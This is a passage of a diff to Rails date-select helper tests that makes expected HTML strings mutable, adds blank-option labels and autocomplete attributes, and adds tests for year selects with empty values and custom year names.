+    expected = +%(<select id="date_month" name="date[month]" disabled="disabled">\n)
     expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
@@ -299,7 +329,7 @@ def test_select_month_with_disabled
   end
 
   def test_select_month_with_field_name_override
-    expected = %(<select id="date_mois" name="date[mois]">\n)
+    expected = +%(<select id="date_mois" name="date[mois]">\n)
     expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
@@ -308,8 +338,8 @@ def test_select_month_with_field_name_override
   end
 
   def test_select_month_with_blank
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
     assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), include_blank: true)
@@ -317,15 +347,15 @@ def test_select_month_with_blank
   end
 
   def test_select_month_nil_with_blank
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
     assert_dom_equal expected, select_month(nil, include_blank: true)
   end
 
   def test_select_month_with_numbers
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8" selected="selected">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
     expected << "</select>\n"
 
@@ -334,7 +364,7 @@ def test_select_month_with_numbers
   end
 
   def test_select_month_with_numbers_and_names
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="1">1 - January</option>\n<option value="2">2 - February</option>\n<option value="3">3 - March</option>\n<option value="4">4 - April</option>\n<option value="5">5 - May</option>\n<option value="6">6 - June</option>\n<option value="7">7 - July</option>\n<option value="8" selected="selected">8 - August</option>\n<option value="9">9 - September</option>\n<option value="10">10 - October</option>\n<option value="11">11 - November</option>\n<option value="12">12 - December</option>\n)
     expected << "</select>\n"
 
@@ -343,7 +373,7 @@ def test_select_month_with_numbers_and_names
   end
 
   def test_select_month_with_format_string
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="1">January (01)</option>\n<option value="2">February (02)</option>\n<option value="3">March (03)</option>\n<option value="4">April (04)</option>\n<option value="5">May (05)</option>\n<option value="6">June (06)</option>\n<option value="7">July (07)</option>\n<option value="8" selected="selected">August (08)</option>\n<option value="9">September (09)</option>\n<option value="10">October (10)</option>\n<option value="11">November (11)</option>\n<option value="12">December (12)</option>\n)
     expected << "</select>\n"
 
@@ -353,7 +383,7 @@ def test_select_month_with_format_string
   end
 
   def test_select_month_with_numbers_and_names_with_abbv
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
     expected << "</select>\n"
 
@@ -362,7 +392,7 @@ def test_select_month_with_numbers_and_names_with_abbv
   end
 
   def test_select_month_with_abbv
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="1">Jan</option>\n<option value="2">Feb</option>\n<option value="3">Mar</option>\n<option value="4">Apr</option>\n<option value="5">May</option>\n<option value="6">Jun</option>\n<option value="7">Jul</option>\n<option value="8" selected="selected">Aug</option>\n<option value="9">Sep</option>\n<option value="10">Oct</option>\n<option value="11">Nov</option>\n<option value="12">Dec</option>\n)
     expected << "</select>\n"
 
@@ -373,7 +403,7 @@ def test_select_month_with_abbv
   def test_select_month_with_custom_names
     month_names = %w(nil Januar Februar Marts April Maj Juni Juli August September Oktober November December)
 
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month]}</option>\n) }
     expected << "</select>\n"
 
@@ -384,7 +414,7 @@ def test_select_month_with_custom_names
   def test_select_month_with_zero_indexed_custom_names
     month_names = %w(Januar Februar Marts April Maj Juni Juli August September Oktober November December)
 
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month - 1]}</option>\n) }
     expected << "</select>\n"
 
@@ -393,23 +423,23 @@ def test_select_month_with_zero_indexed_custom_names
   end
 
   def test_select_month_with_hidden
-    assert_dom_equal "<input type=\"hidden\" id=\"date_month\" name=\"date[month]\" value=\"8\" />\n", select_month(8, use_hidden: true)
+    assert_dom_equal "<input type=\"hidden\" id=\"date_month\" name=\"date[month]\" value=\"8\" autocomplete=\"off\" />\n", select_month(8, use_hidden: true)
   end
 
   def test_select_month_with_hidden_and_field_name
-    assert_dom_equal "<input type=\"hidden\" id=\"date_mois\" name=\"date[mois]\" value=\"8\" />\n", select_month(8, use_hidden: true, field_name: "mois")
+    assert_dom_equal "<input type=\"hidden\" id=\"date_mois\" name=\"date[mois]\" value=\"8\" autocomplete=\"off\" />\n", select_month(8, use_hidden: true, field_name: "mois")
   end
 
   def test_select_month_with_html_options
-    expected = %(<select id="date_month" name="date[month]" class="selector" accesskey="M">\n)
+    expected = +%(<select id="date_month" name="date[month]" class="selector" accesskey="M">\n)
     expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, class: "selector", accesskey: "M")
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, { class: "selector", accesskey: "M" })
   end
 
   def test_select_month_with_default_prompt
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
@@ -417,7 +447,7 @@ def test_select_month_with_default_prompt
   end
 
   def test_select_month_with_custom_prompt
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
@@ -425,7 +455,7 @@ def test_select_month_with_custom_prompt
   end
 
   def test_select_month_with_generic_with_css_classes
-    expected = %(<select id="date_month" name="date[month]" class="month">\n)
+    expected = +%(<select id="date_month" name="date[month]" class="month">\n)
     expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
@@ -433,7 +463,7 @@ def test_select_month_with_generic_with_css_classes
   end
 
   def test_select_month_with_custom_with_css_classes
-    expected = %(<select id="date_month" name="date[month]" class="my-month">\n)
+    expected = +%(<select id="date_month" name="date[month]" class="my-month">\n)
     expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
@@ -441,7 +471,7 @@ def test_select_month_with_custom_with_css_classes
   end
 
   def test_select_year
-    expected = %(<select id="date_year" name="date[year]">\n)
+    expected = +%(<select id="date_year" name="date[year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -449,8 +479,28 @@ def test_select_year
     assert_dom_equal expected, select_year(2003, start_year: 2003, end_year: 2005)
   end
 
+  def test_select_year_with_empty_hash_value_and_no_start_year
+    travel_to Time.new(2019, 1, 1) do
+      expected = +%(<select id="date_year" name="date[year]">\n)
+      expected << %(<option value="2014">2014</option>\n<option value="2015">2015</option>\n<option value="2016">2016</option>\n<option value="2017">2017</option>\n<option value="2018">2018</option>\n)
+      expected << "</select>\n"
+
+      assert_dom_equal expected, select_year({ year: nil, month: 4, day: nil }, { end_year: 2018 })
+    end
+  end
+
+  def test_select_year_with_empty_object_value_and_no_start_year
+    travel_to Time.new(2019, 1, 1) do
+      expected = +%(<select id="date_year" name="date[year]">\n)
+      expected << %(<option value="2014">2014</option>\n<option value="2015">2015</option>\n<option value="2016">2016</option>\n<option value="2017">2017</option>\n<option value="2018">2018</option>\n)
+      expected << "</select>\n"
+
+      assert_dom_equal expected, select_year(ComposedDate.new(nil, 4, nil), end_year: 2018)
+    end
+  end
+
   def test_select_year_with_disabled
-    expected = %(<select id="date_year" name="date[year]" disabled="disabled">\n)
+    expected = +%(<select id="date_year" name="date[year]" disabled="disabled">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -459,7 +509,7 @@ def test_select_year_with_disabled
   end
 
   def test_select_year_with_field_name_override
-    expected = %(<select id="date_annee" name="date[annee]">\n)
+    expected = +%(<select id="date_annee" name="date[annee]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -468,7 +518,7 @@ def test_select_year_with_field_name_override
   end
 
   def test_select_year_with_type_discarding
-    expected = %(<select id="date_year" name="date_year">\n)
+    expected = +%(<select id="date_year" name="date_year">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -479,7 +529,7 @@ def test_select_year_with_type_discarding
   end
 
   def test_select_year_descending
-    expected = %(<select id="date_year" name="date[year]">\n)
+    expected = +%(<select id="date_year" name="date[year]">\n)
     expected << %(<option value="2005" selected="selected">2005</option>\n<option value="2004">2004</option>\n<option value="2003">2003</option>\n)
     expected << "</select>\n"
 
@@ -488,23 +538,23 @@ def test_select_year_descending
   end
 
   def test_select_year_with_hidden
-    assert_dom_equal "<input type=\"hidden\" id=\"date_year\" name=\"date[year]\" value=\"2007\" />\n", select_year(2007, use_hidden: true)
+    assert_dom_equal "<input type=\"hidden\" id=\"date_year\" name=\"date[year]\" value=\"2007\" autocomplete=\"off\" />\n", select_year(2007, use_hidden: true)
   end
 
   def test_select_year_with_hidden_and_field_name
-    assert_dom_equal "<input type=\"hidden\" id=\"date_anno\" name=\"date[anno]\" value=\"2007\" />\n", select_year(2007, use_hidden: true, field_name: "anno")
+    assert_dom_equal "<input type=\"hidden\" id=\"date_anno\" name=\"date[anno]\" value=\"2007\" autocomplete=\"off\" />\n", select_year(2007, use_hidden: true, field_name: "anno")
   end
 
   def test_select_year_with_html_options
-    expected = %(<select id="date_year" name="date[year]" class="selector" accesskey="M">\n)
+    expected = +%(<select id="date_year" name="date[year]" class="selector" accesskey="M">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005 }, class: "selector", accesskey: "M")
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005 }, { class: "selector", accesskey: "M" })
   end
 
   def test_select_year_with_default_prompt
-    expected = %(<select id="date_year" name="date[year]">\n)
+    expected = +%(<select id="date_year" name="date[year]">\n)
     expected << %(<option value="">Year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -512,7 +562,7 @@ def test_select_year_with_default_prompt
   end
 
   def test_select_year_with_custom_prompt
-    expected = %(<select id="date_year" name="date[year]">\n)
+    expected = +%(<select id="date_year" name="date[year]">\n)
     expected << %(<option value="">Choose year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -520,7 +570,7 @@ def test_select_year_with_custom_prompt
   end
 
   def test_select_year_with_generic_with_css_classes
-    expected = %(<select id="date_year" name="date[year]" class="year">\n)
+    expected = +%(<select id="date_year" name="date[year]" class="year">\n)
     expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -528,7 +578,7 @@ def test_select_year_with_generic_with_css_classes
   end
 
   def test_select_year_with_custom_with_css_classes
-    expected = %(<select id="date_year" name="date[year]" class="my-year">\n)
+    expected = +%(<select id="date_year" name="date[year]" class="my-year">\n)
     expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -536,14 +586,23 @@ def test_select_year_with_custom_with_css_classes
   end
 
   def test_select_year_with_position
-    expected = %(<select id="date_year_1i" name="date[year(1i)]">\n)
+    expected = +%(<select id="date_year_1i" name="date[year(1i)]">\n)
     expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
     assert_dom_equal expected, select_year(Date.current, include_position: true,  start_year: 2003, end_year: 2005)
   end
 
+  def test_select_year_with_custom_names
+    year_format_lambda = ->year { "Heisei #{ year - 1988 }" }
+    expected = %(<select id="date_year" name="date[year]">\n).dup
+    expected << %(<option value="2003">Heisei 15</option>\n<option value="2004">Heisei 16</option>\n<option value="2005">Heisei 17</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(nil, start_year: 2003, end_year: 2005, year_format: year_format_lambda)
+  end
+
   def test_select_hour
-    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected = +%(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
 
@@ -551,7 +610,7 @@ def test_select_hour
   end
 
   def test_select_hour_with_ampm
-    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected = +%(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
     expected << "</select>\n"
 
@@ -559,7 +618,7 @@ def test_select_hour_with_ampm
   end
 
   def test_select_hour_with_disabled
-    expected = %(<select id="date_hour" name="date[hour]" disabled="disabled">\n)
+    expected = +%(<select id="date_hour" name="date[hour]" disabled="disabled">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
 
@@ -567,7 +626,7 @@ def test_select_hour_with_disabled
   end
 
   def test_select_hour_with_field_name_override
-    expected = %(<select id="date_heure" name="date[heure]">\n)
+    expected = +%(<select id="date_heure" name="date[heure]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
 
@@ -575,31 +634,31 @@ def test_select_hour_with_field_name_override
   end
 
   def test_select_hour_with_blank
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected = +%(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
 
     assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), include_blank: true)
   end
 
   def test_select_hour_nil_with_blank
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected = +%(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
 
     assert_dom_equal expected, select_hour(nil, include_blank: true)
   end
 
   def test_select_hour_with_html_options
-    expected = %(<select id="date_hour" name="date[hour]" class="selector" accesskey="M">\n)
+    expected = +%(<select id="date_hour" name="date[hour]" class="selector" accesskey="M">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, class: "selector", accesskey: "M")
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, { class: "selector", accesskey: "M" })
   end
 
   def test_select_hour_with_default_prompt
-    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected = +%(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
 
@@ -607,7 +666,7 @@ def test_select_hour_with_default_prompt
   end
 
   def test_select_hour_with_custom_prompt
-    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected = +%(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
 
@@ -615,7 +674,7 @@ def test_select_hour_with_custom_prompt
   end
 
   def test_select_hour_with_generic_with_css_classes
-    expected = %(<select id="date_hour" name="date[hour]" class="hour">\n)
+    expected = +%(<select id="date_hour" name="date[hour]" class="hour">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
 
@@ -623,7 +682,7 @@ def test_select_hour_with_generic_with_css_classes
   end
 
   def test_select_hour_with_custom_with_css_classes
-    expected = %(<select id="date_hour" name="date[hour]" class="my-hour">\n)
+    expected = +%(<select id="date_hour" name="date[hour]" class="my-hour">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
 
@@ -631,7 +690,7 @@ def test_select_hour_with_custom_with_css_classes
   end
 
   def test_select_minute
-    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected = +%(<select id="date_minute" name="date[minute]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -639,7 +698,7 @@ def test_select_minute
   end
 
   def test_select_minute_with_disabled
-    expected = %(<select id="date_minute" name="date[minute]" disabled="disabled">\n)
